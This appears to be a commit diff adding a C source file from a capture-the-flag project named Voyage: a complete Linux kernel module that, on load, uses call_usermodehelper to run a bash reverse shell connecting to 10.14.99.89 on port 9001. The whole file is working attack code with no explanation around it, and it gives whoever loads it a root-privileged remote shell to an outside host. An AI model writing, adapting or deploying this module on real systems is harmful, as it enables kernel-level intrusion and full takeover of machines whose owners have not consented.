initial commit

CTF/Voyage/reverse_shell.c

@@ -0,0 +1,22 @@
+#include <linux/kmod.h>
+#include <linux/module.h>
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("AttackDefense");
+MODULE_DESCRIPTION("LKM reverse shell module");
+MODULE_VERSION("1.0");
+
+char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.14.99.89/9001 0>&1", NULL};
+static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
+
+// call_usermodehelper function is used to create user mode processes from kernel space
+static int __init reverse_shell_init(void) {
+    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
+}
+
+static void __exit reverse_shell_exit(void) {
+    printk(KERN_INFO "Exiting\n");
+}
+
+module_init(reverse_shell_init);
+module_exit(reverse_shell_exit);
+